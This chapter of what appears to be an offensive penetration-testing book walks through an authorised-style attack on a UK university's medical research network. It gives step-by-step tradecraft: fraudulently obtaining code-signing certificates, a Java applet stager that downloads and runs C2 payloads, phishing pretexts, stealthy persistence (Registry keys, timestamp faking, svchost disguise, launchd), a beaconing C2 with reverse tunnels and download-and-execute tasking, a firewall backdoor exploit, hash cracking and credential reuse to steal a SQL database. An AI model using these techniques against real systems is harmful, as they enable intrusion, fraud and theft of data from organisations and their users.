Chapter 2
Stealing Research

This chapter continues to build on the core concepts investigated in Chapter 1, “Payload Delivery and Command and Control.” In doing so, it presents a very different environment and a very different target concept.

Universities have long been considered “soft” targets for attackers and rightly so. Very few colleges have the budget to develop and maintain a coherent security strategy. Creating a collaborative academic environment is in a sense an anathema to implementing information security at any level. Colleges can have vast sprawling networks containing many different operating systems and technologies. There is often no effective central authority for security and the overall infrastructure will have evolved over years with considerable reliance on legacy systems. The painful truth is that at some point you become too big to survive.

Background and Mission Briefing

A large and prestigious university in the UK had been awarded a license from the home office to conduct research into human brain perfusion on behalf of the British Army. This is a controversial area of study, as its goal is to keep human brains alive and functioning outside of the body. If you're a member of the armed forces and wondering where they get live brains from, I suggest you read your contract very carefully. The research itself was not technically classified—the home office license was a matter of public record—but data security was a paramount feature of the project not because of the controversy but because such information would be considered equally useful to an enemy state. A penetration test was commissioned and it ended up on my desk. The timeframe for the attack was two weeks and the scope was as open as was legally possible. The dean of the university himself attended the scoping meeting as did a cadre of army officers.

The university's external IP range was a /16 with thousands of occupied addresses and hundreds of web applications. Fortunately, this was not the focus of the exercise. The interested parties wanted to know, all things being equal, how quickly the core network could be accessed by an attacker and what further leverage could be gained with regard to accessing systems within the medical research division. Anyone with access to university assets (other than students) could legitimately be considered a target—this was signed off by the dean himself.

Given the short time frame, I decided to go with a large-scale “smash and grab” operation. That is, to target a lot of users at once and hope enough mud would stick to the wall when attacking them. Identifying potentially appropriate targets would mean creating (at a minimum) a list of names, departments, and email addresses.

The criteria for a potential target would be:

  • A member of faculty for presumed elevated privileges to certain internal databases.
  • An academic in a field not related to computing in any way—the final choice came down to anthropology, archaeology, and social sciences. These targets would allow us to attempt access from outside the medical research environment.
  • Medical research team members themselves.

For this attack, with just a couple of hundred email addresses to compile, we'll go the manual route and get to know the targets a little. Proceeding with an email attack vector, you must now decide how you will gain initial intrusion into the target network. A VBA macro, as per the first chapter, would be a little clumsy for a larger scale attack such as this and that also requires Microsoft Office to be installed. In an academic environment it's likely users will have a much more disparate set of tools as well as a reliance on operating systems other than Microsoft Windows. This presents an interesting challenge—how can you deploy a stager payload that will run in any environment and, based on what it discovers, download and install the appropriate command and control infrastructure? The answer is to use Java.

Payload Delivery Part 2: Using the Java Applet for Payload Delivery

There are a number of Java exploits and attacks floating around in the wild. Forget them. You want to code your own tools from the ground up that will look as legitimate as possible and be able to punch through any host-based malware detection and intrusion detection traffic analysis.

The attack flow is as follows:

  • Develop a Java applet and deploy it within a convincing web-based environment. More on that shortly.
  • Deploy a social engineering attack against the previously identified users to encourage them to visit this website.
  • Upon execution, the applet must determine whether it's in a Windows, OSX, or Linux environment and download the appropriate C2 agent. This will obviously involve some recoding of the C2, but it's in the C language so this should be minimal.

Java is not a difficult language to learn, so don't worry if you're not familiar with it. I include everything you need, including code, to get you started.

Java Code Signing for Fun and Profit

Before I go any further, it's worth mentioning that since Java 8 Update 20, no Java applets will run unless the code is signed by a recognized authority. Code signing was something that probably sounded like a good idea back in the 90s when the process of acquiring a signing certificate was much harder—you needed a Dunn and Bradstreet number, an incorporated company, and a verified mailing address. These days the code signing business is, well, big business. It's very competitive and they want your trade so they'll still do a little verification that you are who you say you are, but it will be the bare minimum. You can easily get a certification with a little social engineering. A major retailer of code-signing certificates states the following on their website:

  1. The legal existence of the organization or individual named in the Organization field of the code-signing certificate must be verified.
  2. The email to which the code-signing certificate is to be sent must be [email protected], where domain.com is owned by the organization named in the code-signing certificate.
  3. A callback must be made to a verified telephone number for the organization or individual named in the code-signing certificate in order to verify that the person placing the order is an authorized representative of the organization.

This procedure can be used to easily get a code-signing certificate:

  • Register a domain name that is similar to an existing business. Consider your target organization—what might be relevant?
  • Clone and host that website using the following command:
    wget -U "Mozilla/5.0 (X11; U; Linux; en-US; rv:1.9.1.16) Gecko/20110929 Firefox/3.5.16" --recursive --level=1 --no-clobber --page-requisites --html-extension --convert-links --no-parent --wait=3 --random-wait http://www.example.com/docs/interesting-part/ --domains=www.example.com
  • Change all phone contact information in the cloned site to point to you.
  • Consider a company well outside of the code signer's normal business area to discourage chamber of commerce lookups (in practice these are rarely performed).
  • I've been able to acquire code-signing certs with only a plausible sounding email address and a cell phone. Remember, you're the client and they want your money.

Of course, as you're legitimately performing APT modeling, you could use your own legal entity. It's up to you.

In a sense, enforcing code signing is the best thing that could have happened for Java malware authors, as it enforces a completely unrealistic security model that lulls users into a false sense of security. Code signing basically works like this—you the user are trusting a third party you've never met (the code author) because another third party you've never met (the code signer) has said the code (that they've never seen) is safe to run.

Right.

Of course, the initial point was to ensure that all code was traceable but that's something that's been well and truly lost on the way.

The basic technique we're illustrating here is one that is heavily favored by NSA/GCHQ network infiltration teams or so-called Tailored Access Operations and for a reason: it's easy and it works. You don't need a portfolio of zero-day exploits to gain access to secure environments when people are running Java, which is almost universally deployed.

With all that in mind, let's get down to some Java coding. First of all, download the Java SE JDK (not JRE) from the Oracle website. For reasons that escape me, the Java installer never correctly sets the path variable, so you'll need to do that yourself (modify this for the version):

set path=%path%;C:Program FilesJavajdk1.8.0_73in

You don't want to have to keep signing every build of your test code; that's going to get tedious very quickly. You'll need to do the following to set up your development environment. Add your local machine as an exception to the code-signing rule, as shown in Figure 2.1.

Snapshot of local Java code to run in the browser.

Figure 2.1: Permit all local Java code to run in the browser.

Java code starts off in plain text files with a .java extension that are then compiled into .class files. Class files can't be signed so they need to be bundled into .jar archives for your purposes. The following is an illustrative simple HelloWorld example:

public class HelloWorld
{
  public static void main(String[] args)
  {
    System.out.println("Hello, World!");
  }
}

Save this as HelloWorld.java and compile it like so:

javac HelloWorld.java

This will create HelloWorld.class, which is run like so:

java HelloWorld

This runs the Java interpreter. You should see the program output:

Hello, World!

This is all well and good, but you want your code to run inside a web browser. The code then needs to be slightly different to inherit certain functionality it needs to run as an applet:

import java.applet.Applet;
import java.awt.Graphics;

public class HelloWorld extends Applet {
    public void paint(Graphics g) {
        g.drawString("Hello world!", 50, 25);
    }
}

Create a small HTML file in the same directory with the following code:

<HTML>
<HEAD>
<TITLE> A Simple Program </TITLE>
</HEAD>
<BODY>

Here is the output of my program:

<APPLET CODE="HelloWorld.class" WIDTH=150 HEIGHT=25>
</APPLET>
</BODY>
</HTML>

Save this file as test.html and load it into your browser, as shown in Figure 2.2.

Snapshot of Java applet running in the browser.

Figure 2.2: Java applet running in the browser.

As previously stated, at some point you will need to bundle the .class file into a .jar archive so that it can be code signed. That's easily achieved and you need to modify your HTML code slightly as well:

jar cf helloworld.jar HelloWorld.class

and

<HTML>
<HEAD>
<TITLE> A Simple Program </TITLE>
</HEAD>
<BODY>

Here is the output of my program:
<applet code=HelloWorld.class
        archive="helloworld.jar"
        width=120 height=120>
</applet>

</BODY>
</HTML>

Simplicity itself.

Writing a Java Applet Stager

In essence, what you want to do is not a million miles away from the goal of the previous chapter—download and execute a C2 payload. However, this time you are going to assume the existence of three potential operating systems, Windows, Apple OSX, and the many Linux derivatives. This will require some discrimination on the part of the stager and some recoding of the C2 payload itself (mainly file path nomenclature and persistence), but all three platforms support C and libssh, so this is trivial. You will heavily modify the C2 server model as well for this test to add other much needed functionality.

Compile the following code:

public class OsDetect
{
  public static void main(String[] args)
  {
    System.out.println(System.getProperty("os.name"));
  }
}

The output reveals the current OS. For example:

Windows 7

You can use various functions to determine all manner of properties of the Java Virtual Machine that we've found ourselves in and other useful information about the host, but right now the OS is adequate for your needs. As far as Windows goes, I generally don't concern myself with targeting x86 or x64 platforms individually for payload delivery; x86 works fine for pretty much everything you want to do. There are, however, good reasons for taking this into consideration when you're doing very specific x64 process exploitation or migration, but that doesn't concern us here.

Moving forward, let's create a stager as a command-line tool for testing purposes. Later we'll package it into an applet and make it attack ready. See Listing 2-1. This code imports the necessary libraries for network communication, checks out what OS the target is running and downloads the appropriate C2. This is intentionally simple for illustrative purposes. This code will run “out of the box” so play around with it and make it better.

We first use the System.getProperty("os.name") function to determine the OS. While you could drill down a little more (for other versions of UNIX for example), this is sufficiently thorough for your needs. Once the OS is known, the stager downloads and executes the appropriate payload for that platform.

The variable filename defines where the payload will be written on the host and the variable URL references where the stager can find the payload on the web.

Make sure you also code sign the Mac executable or you will get inconvenient permission messages presented to the user. No such issues exist with Windows and Linux; they will quite happily execute what they're given with no warnings to the user.

To convert this to an applet, you need to import the appropriate library:

import java.applet.Applet;

and change:

public class JavaStager {

to:

public class JavaStager extends Applet {

Package the .class file to a .jar:

jar cf stager.jar JavaStager.class

and prepare your HTML:

<HTML>
<HEAD>
<TITLE> Convincing Pretext </TITLE>
</HEAD>
<BODY>
<applet code=JavaStager.class
        archive="stager.jar"
        width=120 height=120>
</applet>

</BODY>
</HTML>

Create a Convincing Pretext

You will need to have a think about where you want these files to be downloaded. In the previous example (when converted into an applet), they will go to the Java cache, which is far from ideal.

You still have two things you need to do—create a convincing pretext (i.e., a pretty and believable website) and sign the .jar file. Then this attack will be ready to fly.

The sky is pretty much the limit as to how far you can go when designing pretexts, but bear in mind here that an attack is successful or foiled—far more than with the technical details.

I encourage you to do your research and be an artist.

In this instance, you'll create a website with the house style of the college under attack, embed your hostile applet in it, and entice your targets to visit the site. It has to look official, but official emails land in people's inboxes all day long, so it's also has to stand out without looking like it's from a Nigerian prince. Without wanting to sound like a psychopath, manipulating people is easy when you know what makes them tick. In the cut-throat world of sales or brokering stocks, anything that appears to give someone an advantage over their colleagues works well but, all things being equal, academics are not usually motivated by the acquisition of wealth.

It doesn't matter if you're a physicist or an archaeologist, the real currency in the academic world is prestige. “Publish or perish” is the phrase coined to describe the pressure in academia to rapidly and continually publish work to sustain or further one's career. That is leverage that you can use. Another pretext that works very well is flattery—create an attack that exploits these ideas and get your payload executed.

Create a website called “Find an expert,” which you will imply is associated with and administered by the university. It will purport to be a new directory that will make it easier for specialists to get invitations to speaking engagements and the like. All that's needed is a free registration. The invite will be personalized and made to look like it's originated from within the college. You can send an email under any pretext to anyone at the college and when they reply, you will have the standard university email footer that you can copy and customize to suit your needs.

Signing the Stager

That leaves code signing the stager. Once we've acquired the certificate from the vendor, the easiest way to do this is as follows.

Export the PVK (private key) and SPC (certificate) files into a PFX/P12 file using the Microsoft tool pvkimprt.

pvkimprt -import -pfx mycert.spc javakey.pvk

Import the PFX file into a new Java keystore using PKCS12Import and enter the keystore password when prompted.

java pkcs12import mycert.pfk keystore.ks

Sign the .jar file with the jarsigner tool.

jarsigner -keystore keystore.ks stager.jar

Embedded into your fake website, this attack is ready to test. (And do test, really, because if you mess up your initial attack, your target will be more aware and on guard. Then test it again.)

Notes on Payload Persistence

In the previous chapter I discussed, albeit briefly, the idea of persistence—that is the payload being able to survive reboots. There are numerous ways to do this, and now that we're dealing with multiple operating systems the problem multiplies. The method described in Chapter 1 will work but it's not very stealthy. Now that you're upping your game, it seems like a good time to revisit the concept with some better suggestions.

Microsoft Windows

There are plenty of ways to autostart code in Windows that go beyond the obvious and the most common:

HKCUSoftwareMicrosoftWindowsCurrentVersionRun

Microsoft included several keys that were originally intended only for testing but which never got removed; you can execute code from there in the same way:

HKLMSoftwareMicrosoftWindows NTCurrentVersionImage File Execution Options

or

HKLMSoftwareWow6432NodeWindows NTCurrentVersionImage File Execution Options

When using the Registry (or indeed any autostart method), it is a good idea to fake the timestamp on the executable to make it look like it's been there for a long time rather than suddenly appearing on the day of a suspected attack. I've seen very experienced forensic analysts blunder past malware because it didn't occur to them that the timestamp could easily be changed.

Services are a very popular way of installing malware. Your .exe will need to be specially compiled as a Windows service if hiding this way or the OS will kill it.

Another way is to have your stager drop a DLL instead of an EXE and reference it from a Registry key using rundll32:

RUNDLL32.EXE dllnameentrypoint

On that note, it's possible to store and run JavaScript in the Registry:

rundll32.exe javascript:"..mshtml,RunHTMLApplication ";alert('Boo!'); 

Malware has been seen in the wild that uses this method to store a payload in the Registry itself.

However, rather than listing the many ways you can go persistent on Windows, I recommend acquiring the free Microsoft sysinternals tool Autoruns:

https://technet.microsoft.com/en-gb/sysinternals/bb963902.aspx

This magnificent utility contains the largest database of autorun methods in existence (for more than the simple Registry tricks mentioned here) and is used in forensic and malware analysis engagements. It knows some really arcane stuff.

One method that I like and that is generally sound includes replacing an EXE referenced by an existing Registry key with your payload and then instructing your payload to execute the original code you replaced. This is best done manually, as trying to automate this can produce interesting results.

When hiding payloads, it's best to pick a name that doesn't arouse suspicion (i.e., payload.exe). Svchost.exe and spoolsv.exe make the best targets because there are usually several copies running in memory. One more will often go unnoticed.

It's worth mentioning that most malware authors do not balance the benefits of persistence over time with the increased chances of detection. Forensic analysis often focuses on persistence to find payloads.

Linux

There is a belief that persistence on Linux (and indeed UNIX systems generally) tends to be more involved than on Windows. The reason for this erroneous belief is that *nix user permissions are (compared to Windows) enforced in a more rigorous way by default. It's not uncommon for Windows users to have access to far more of the Registry than they require. However, unless your user is running as root (or you can persuade them to run your code as root), then persistence is going to be limited to the executing user and as a result that user's permissions. That's not a massive problem, though; there are plenty of ways to escalate user privileges once you're installed and you can still do a lot of network exploration as a humble user. Generally, though, you won't be able to clean logs as you go and that's not ideal, although logging (or paying any attention to logs) is less likely on a workstation build.

I discuss privilege escalation in due course and, generally speaking, gaining local administrative access on your beachhead machine is going to be a priority when modeling an APT. There is a school of thought that without root privileges, persistence should be avoided as it is insufficiently stealthy.

There are a various startup methods available in Linux-based operating systems. As already discussed, some require elevated privileges and some do not.

Services

In Linux, there are three ways of installing and running applications as background processes (or daemons). The benefit of using services is that the OS will restart your process if it dies. These are:

System V init
Upstart
systemd

System V or classic init is rarely encountered today and is only of interest in older Linux distributions such as:

Debian 6 and earlier
Ubuntu 9.04 and earlier
CentOS 5 and earlier

You will need to create a functional Bash init script at /etc/init.d/service. Examples of existing scripts can be found in the /etc/init.d directory.

Then run:

sudo update-rc.d service enable

This will create a symlink in the runlevel directories 2 though 5. Now you need to add the following respawn command in /etc/inittab:

id:2345:respawn:/bin/sh /path/to/application/startup

Then stop and start the service:

sudo service service stop
sudo service service start

Upstart is another init method, and was introduced in Ubuntu 6. It became the default in Ubuntu 9.10, and was later adopted into Red Hat Enterprise 6 and its derivatives. Google Chrome OS also uses Upstart.

Ubuntu 9.10 to Ubuntu 14.10, including Ubuntu 14.04
CentOS 6

While still frequently seen, it is generally being phased out in favor of systemd, which we'll look at next.

To run as a service, your payload will need a configuration script in /etc/init called servicename.conf. Again, you can easily model your script using an existing configuration file. Make sure, however, that your service.conf contains the following lines:

start on runlevel [2345]<br>respawn

This ensures the code runs on boot and will respawn if it dies.

systemd is a system and service manager for Linux that has become the de facto initialization daemon for most new Linux distributions. systemd is backward-compatible with System V commands and initialization scripts.

Make sure the service has a functional systemd init script located at

/etc/systemd/system/multi-user.target.wants/service.service

Start the service:

sudo systemctl enable service.service

The /etc/systemd/system/multi-user.target.wants/service.service file should also contain a line like

Restart=always

under the [Service] section of the file to enable the service to respawn after a crashs/service.service.

Cron

Cron is a utility used to start processes at specific times, much like Task Scheduler in Windows. It's useful for complex timing notations and can be used by users without root access to schedule tasks.

Init Files

Upon login, all Bourne-compatible shells source /etc/profile, which in turn sources any readable *.sh files in /etc/profile.d/. These scripts do not require an interpreter directive, nor do they need to be executable. They are used to set up an environment and define application-specific settings.

Graphical Environments

There are various desktops and window managers in Linux of which KDE and Gnome are still the most popular. These environments all have their own individual ways to start code when they are booted that are far too numerous to list here.

Rootkits

The definition of rootkit varies, but is generally a binary on the target system that has been replaced by malicious code yet retains the functionality of the original. In the past, certain simple services (such as finger) would be modified to contain code that would grant an attacker access when interfaced with in a specific way. As Linux-based operating systems are open source, the possibilities for such attacks are limited only by your imagination, although this attack falls more into the category of backdoor rather than straight persistence.

OSX

Apple OSX is by far the most secure platform here. Borrowing from its iOS operating system, it now checks all binary signatures, meaning that it becomes impossible to subvert existing processes and prevents attacks such as process migration. However, unlike iOS, unsigned apps are allowed to run freely.

Persistence can be achieved through cron jobs as with Linux but there are better ways. The first user-mode application to boot in OSX is launchd. It can be abused to obtain persistence as follows:

# echo bsexec 1 /bin/bash payload.script > /etc/launchd.conf

A deprecated method (that still works) is using startup items.

You need to place two files into a startup item directory. The first is the script that is to be executed automatically. The other file must be named StartupParameters.plist and must contain a Provides key that contains the name of the script file. Both of these files should be placed in a sub-directory in either the /System/Library/StartupItems or /Library/StartupItems directory. The name of the sub-directory must be the same as the name of the script file (and the value of the Provides key in the StartupParameters.plist).

Command and Control Part 2: Advanced Attack Management

The C2 infrastructure described in Chapter 1 is not fit for anything other than illustrating concepts. Its lack of a proper out-of-band management channel and the ability to handle only one target host at a time are severe, crippling limitations. The always-on SSH connection is also inelegant and lacks stealth.

Adding Stealth and Multiple System Management

In this section, you will add considerable new functionality to make your C2 stealthier, more intelligent, and easier to manage. What is needed for now is the following:

  • Beaconing—When the payload is delivered and installed, it should periodically call home (your C2 server) for orders rather than immediately establishing an SSH connection and reverse tunnel.
  • Pre-configured command set—An established set of instructions that can be passed to the payload for tasking when it calls home.
  • Tunnel management—The C2 server needs to be able to handle multiple simultaneous inbound connections from payloads on different hosts and be able to stage reverse tunnels on multiple ports while keeping track of which tunnel belongs to which port.
  • Web-based frontend—Your additional functionality will require a coherent interface for both strategic and tactical attack management.

For example, your new setup illustrates the move to a beacon model, as shown in Figure 2.3.

Scheme for upgraded framework handles multiple hosts and operating systems.

Figure 2.3: The upgraded framework handles multiple hosts and operating systems.

Let's look at what will be required for this implementation.

A beacon is simply an HTTP(S) packet carrying XML data. This data contains information about your host and looks like this:

<Beacon>
   <HostName> </HostName>
   <InternalIP> </InternalIP>
   <ExternalIP> </ExternalIP>
   <CurrentUser> </CurrentUser>
   <OS></OS>
   <Admin></Admin>
</Beacon>

This is straightforward and easily extensible. The beacon is transmitted by the payload according to a pre-configured interval. The default is 60 seconds but this can be altered when the payload goes live. For a low and slow attack, longer intervals can be set, effectively putting the payload to sleep for extended periods of time should such additional stealth be required. A populated XML packet will look like this:

<Beacon>
   <HostName> WS-office-23 </HostName>
   <InternalIP> 192.168.17.23 </InternalIP>
   <ExternalIP> 209.58.22.22 </ExternalIP>
   <CurrentUser> DaveR </CurrentUser>
   <OS> Windows 7 </OS>
   <Admin> N </Admin>
</Beacon>

The response to this packet is also contained in XML:

<BeaconResponse>
   <Command1> </Command1>
   <Command1Param> </Command1Param>
   <Command2> </Command2>
   <Command2Param> </Command2Param>
   <Command3> </Command3>
   <Command3Param> </Command3Param>
   <Command4> </Command4>
   <Command4Param> </Command4Param>
   <Command5> </Command5>
   <Command5Param> </Command5Param>
</BeaconResponse>

Commands can be stacked in the web interface indefinitely and will all be executed when the payload calls home after its configured sleep period.

Implementing a Command Structure

The commands you want to implement at this stage are:

  • Sleep—Alter the interval in which the payload calls home. The default is 60 seconds. The parameter to this is the interval in seconds.
  • OpenSSHTunnel—This will establish an SSH connection back to the C2 server, start a local SSH server, and initiate a reverse tunnel allowing C2 to access the target's file system. The parameter is the local (target) port followed by the port on the C2 to forward to in the format LxxxCxxx. Therefore the parameter is the port on the C2 that the tunnel will be accessible on and local port to start the SSH server on: L22C900.
  • Close SSHTunnel—If an SSH tunnel and server are running, they will be stopped. No arguments need be passed.
  • OpenTCPTunnel—This will establish an SSH connection back to the C2 server and open a reverse tunnel to any port on the target for accessing local services. The parameter is the local (target) port following by the port on the C2 to forward to in the format LxxxCxxx. For example, to forward to a local FTP server and make it available on port 99, you use L21C99.
  • CloseTCPTunnel—This is obvious. The parameter is the local (target) port.
  • OpenDynamic—This will establish an SSH connection back to the C2 server and open both a dynamic tunnel and a reverse TCP tunnel pointing to it. This effectively turns your target into a SOCKS5 proxy server and is a great way to pivot your attack into your target's network. The parameter is the OpenTCPTunnel.
  • CloseDynamic—Again this is obvious. The parameter is the local (target) port.
  • Task—Download an executable from the web and execute it. The parameter is the URL to file.

By way of example, the following packet will download and execute an EXE from the web, pivot into the target network using a SOCKS5 proxy, and start an SSH server on port 22, reversed back to the C2 on port 900.

<BeaconResponse>
   <Command1> Task </Command1>
   <Command1Param> http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe </Command1Param>
   <Command2> OpenDynamic </Command2>
   <Command2Param> L1080C1080 </Command2Param>
   <Command3> OpenSSHTunnel</Command3>
   <Command3Param> L22C900 </Command3Param>
</BeaconResponse>

For the web interface and backend, you need something to process the XML, store current attack data, and adequately visualize the mission. There are so many technologies available to achieve this, so the best recommendation is to go with what you're comfortable with. That being said, all decent scripting languages have libraries that allow you to create a simple web application like this quickly and easily.

Building a Management Interface

My preference is to use the following, but that is born out of habit rather than a personal endorsement:

  • Web server—I like tinyhttpd. It's open source and has a very small deployment footprint.
  • Scripting language—Python is my choice though there are certainly easier ways to handle web-related tasks in Ruby.
  • Database—I prefer PostgreSQL. Once upon a time I would have said MySQL, but no longer. I don't want to get into a rant on the subject, but Oracle has just destroyed too many things that I loved.

As for a user interface, I like to keep things simple, but bear in mind that you will need the following:

  • A way of tracking hosts as they beacon in real-time. That frame in the interface should use AJAX functionality or equivalent so that when the application receives a new beacon, it is immediately visible and ready for tasking. Each host should display the last time in seconds that it received a beacon.
  • Each host should display all the information received from the beacon packet, such as IPs, hostnames, etc.
  • Next to each host you will want to track which ports are currently open and which hosts they are assigned to. All of this information should be handled by the web application—it is not desirable to have the web application and the C2 SSH server interact.
  • You may want to write a function to periodically check the status of open tunnels and mark closed any that have died.
  • You will need to have a way to stack commands for each host and record which commands have been executed.

It is inevitable that, as you work on implementing your C2 infrastructure, you will want to do things differently and find more creative ways of solving problems. This is to be encouraged.

The Attack

At this point you have a valid payload, a pretext, and a delivery mechanism. Now you can mass mail your invitation to the targets using forged email credentials.

Either way, assume that:

  • Your email pretext has been sent to the targets.
  • Some will have visited your website.
  • One or more will have run our Java applet and are now tied into your C2 infrastructure.
  • Your payload is persistent.

Situational Awareness

The first and most important task is to ascertain exactly where you are in a target's network and what privileges you have. You can then begin mapping the network, its assets, and its users, and you can figure out where you need to be in relation to where you are.

Do note that at least one target will have viewed your website from their home machine and that is now infected with your payload. This can usually be quickly ascertained by the internal and external IP address. This does not mean that they should be completely discounted, as they may have VPN connectivity or other work-related data; however, you will be in a legal gray area in this instance. I like completing a successful mission but I also very much like not being in prison.

In this instance, there is a successful penetration of the social sciences department.

We ascertain this by querying the Active Directory and downloading the entire host list. This won't be complete and will only contain Windows machines from 2000 onward, but it's more than enough to build a target list and figure out who is where.

Using AD to Gather Intelligence

How do you achieve this? Well, once upon a time I would be giving you a list of tedious Windows net commands to type. However, there are thankfully better, quicker ways. Add the following to your tools:

https://github.com/PowerShellEmpire/PowerTools

This “is a collection of PowerShell projects with a focus on offensive operations” and it has completely changed the way I approach situational awareness during APT modeling and internal penetration testing. It's part of the overall Veil project and a must-have. One of the tools, PowerView, can be used to query the AD in a number of ways. We'll use it to grab all the hosts in the internal domain:

c:> powershell.exe -nop -exec bypass
PS c:> import-module .powerview.ps1
PS c:> Get-NetComputer -FullData | Out-File -encoding ascii machines.txt

This gives you significant information on every machine in the AD. As an example, some of the pertinent information retained for each host is shown here:

memberof              : CN=GL_APP_VisioPro2010,OU=Applications,OU=Secur
                        ityGroups,OU=coll-domain,DC=uk,DC=coll-domain,D
                        C=local
pwdlastset            : 21-2-2016 21:43:09

lastlogon             : 24-2-2016 22:24:50
whenchanged           : 21-2-2016 21:17:33
adspath               : LDAP://CN=SOCSCI12-WS7,OU=Support,OU=Computers,O
                        U=coll-domain,DC=uk,DC=coll-domain,DC=local
lastlogontimestamp    : 21-2-2016 22:17:18
name                  : SOCSCI12-WS7
lastlogoff            : 1-1-1601 1:00:00
whencreated           : 15-12-2014 9:15:47
distinguishedname     : CN=SOCSCI12-WS7,OU=Support,OU=Computers,OU=Secur
                        eLinkuk,DC=uk,DC=coll-domain,DC=local
badpwdcount           : 0
operatingsystem       : Windows 7 Professional

Analyzing AD Output

From this output, you can determine the host-naming convention, operating system, and other helpful information. You could ask PowerView just to return hostnames and even ping which hosts are up, but that will create a lot of traffic that you want to avoid. Perusing the output:

samaccountname        : medlab04-WS12$

adspath               : LDAP://CN=medlab04-WS12,OU=Computers,OU=MedicalR
                        esearch,
lastlogontimestamp    : 21-2-2016 18:54:24
name                  : medlab04-WS12

distinguishedname     : CN=medlab04-WS12,OU=MedicalResearch,OU=Computers

cn                    : medlab04-WS12
operatingsystem       : Windows 7 Professional

if you ping medlab04-WS12, you get:

Pinging medlab04-WS12 [10.10.200.247] with 32 bytes of data:
Reply from 10.10.200.247: bytes=32 time<1ms TTL=126
Reply from 10.10.200.247: bytes=32 time<1ms TTL=126
Reply from 10.10.200.247: bytes=32 time<1ms TTL=126
Reply from 10.10.200.247: bytes=32 time<1ms TTL=126

Your host is up and it's a pretty good guess that all the Medical Research machines are going to be in the same subnet. Looking at all the machines using the medlab naming convention referenced in the AD output:

medlab04-WS13
medlab04-WS07
medlab04-WS11
medlab04-WS10
medlab04-WS04
medlab04-WS08
medlab04-WS15
medlab04-WS02
medlab03-WS06
medlab03-WS16
medlab03-SQL
medlab03-FTP

you can see that they are contained in 10.10.200.0/24. It looks like they're all workstations except for two and it's a pretty good guess that these are an FTP and MS SQL server, respectively.

The workstations are all likely to be derived from a common recent build image. It's unlikely we'll find exploitable services or weak accounts. However, these machines are the only ones contained in the AD. The other computers that could be in this range are not because they're not running Windows and will therefore not necessarily be subject to the scrutiny of the organization as a whole as well as not part of its enforced security policy. A quick ping scan reveals the following:

10.10.200.1

Only one host. That is disappointing, as it's almost certainly going to be the router for the local subnet.

Attack Against Vulnerable Secondary System

We confirm this is the case by connecting to it via SSH. It presents the following banner:

FortiGate OS Version 4.8

It's not just a router, it's a firewall. Not only that, it's a firewall that shipped from the manufacturer with a hardcoded password. Some suspicious folk might call this a “backdoor,” but the manufacturer shrugged it off as a “device management issue.”

Either way, there is public exploit code for the issue available from here:

http://seclists.org/fulldisclosure/2016/Jan/26

We'll use this script to compromise the router. Once you have done this, you can list the admin users:

# get system admin
name: admin
name: DaveGammon
name: RichardJones

and download their password hashes one by one:

# show system admin admin
  set password ENC AK1VW7boNstVjM36VO5a8tvBAgUJwLjryl1E+27F+lOBAE=
  
FG100A # show system admin DaveGammon
   set password ENC AK1OtpiTYJpak5+mlrSoGbFUU60sYMLvCB7o/QOeLCFK28=
   
FG100A # show system admin RichardJones
  set password ENC AK1P6IPcOA4ONEoOaNZ4xHNnonB0q16ZuAwrfzewhnY4CU=

Fortigate stores its passwords as salted but non-iterated SHA-1 hashes. In layman's terms, that means you can crack them. Copy and paste the config to your local machine and use the free HashCat password cracker to crack the hashes as it natively supports this format:

root@kali:/tmp# hashcat -a 0 -m 7000 med-fort /usr/share/wordlists/rockyou.txt
Initializing hashcat v0.47 by atom with 8 threads and 32mb segment-size…
Added hashes from file fortinet: 3 (3 salts)

NOTE: press enter for status-screen

AK1P6IPcOA4ONEoOaNZ4xHNnonB0q16ZuAwrfzewhnY4CUA:SecurePass#1
AK1OtpiTYJpak5+mlrSoGbFUU60sYMLvCB7o/QOeLCFK28A:IloveJustinBieber

Input.Mode: Dict (/usr/share/wordlists/rockyou.txt)
Index…..: 5/5 (segment), 553080 (words), 5720149 (bytes)
Recovered.: 2/3 hashes, 2/3 salts
Speed/sec.: 8.10M plains, 8.10M words
Progress..: 553080/553080 (100.00%)
Running…: --:--:--:--
Estimated.: --:--:--:--

Here I am using the rockyou.txt wordlist, which contains 14 million words. This crypt-and-compare attack hashes every single word and compares it to the hashes; when you have a match that word is the password.

Looking at the output, two passwords have been found.

Credential Reuse Against Primary Target System

I don't care much about the firewall itself, other than that I can add a firewall ruleset allowing you to access the Medical Research lab and that these passwords may be used elsewhere. What I really want to access is the MS SQL database, which will most likely be running on its default port 1433.

We can use a Windows command-line tool to test the stolen credentials and see if they work on the SQL Server, but first you want to query AD again to find out what Dave Gammon's domain username is. For that, I will once again turn to the magic of PowerView:

c:> powershell.exe -nop -exec bypass
PS c:> import-module .powerview.ps1
PS c:> Get-NetUser -FullData | Out-File -encoding ascii users.txt

After searching the output, I find the line we're looking for:

samaccountname: dgammon

Well. I could probably have guessed that, but moving on, let's test those credentials. If they work, this will list the databases available.

sqlcmd -s medlab03-SQL -u coll-domain/dgammon -p ILoveJustinBieber -q "exec sp_databases" 

A hit and a list of DBs:

master
model
msdb
perfuse-data
tempdb

The list shows four MS SQL databases and one user db called perfuse-data. That sounds promising. So let's steal it. The following command will back up the perfuse-data db to disk, where you can extract it via C2:

sqlcmd -s medlab03-SQL -u coll-domain/dgammon -p ILoveJustinBieber -Q "BACKUP DATABASE perfuse_db TO DISK='C:perfuse_db.bak'"

That is game over. I have acquired our target's database, which is more than sufficient to call this a win. In an actual APT scenario, I would have used these credentials to gain further access to the workstations, deployed spyware as well as my own C2, and stolen every idea these guys came up with.

Summary

In this chapter, I introduced a new vector of attack—the Java applet. We've extended our C2 and put it to the test. Once you're inside a target's network, you have effectively bypassed 90 percent of operation security. In this case, the target had implemented a firewall to block their subnet from the rest of the network, but it was vulnerable and easily subverted to give the very keys to the kingdom. This is worth stressing because credential reuse is a killer when one of those systems is not as secure as the other.

What we have here is a belief that someone running in the browser is secure and harmless. That Java is “secure”—I keep hearing that but I'm not sure what it means. Allow a Java applet to run in your browser and you are running executable code on your computer as surely as if you downloaded an .exe. Code signing is meaningless in the twenty-first century and should not be relied upon for security here or anywhere else.

Despite the plethora of tools capable of “detecting Command & Control,” you should realize that you can easily make homegrown attacks, customized for a specific mission that will not be detected.

The next chapter looks at compromising banking systems and advanced data exfiltration.

Exercises

  1. Continue implementing the C2 and experiment with the features discussed.
  2. Investigate what other technologies run within a web page context and how they might be similarly utilized to gain initial access into an organization.
  3. A mass email was used in this chapter, but some spam filters would have blocked it—in fact, that is often the biggest problem when using email as a vector of attack. What other technologies could be used to deliver the URL to these targets in a convincing manner?
..................Content has been hidden....................

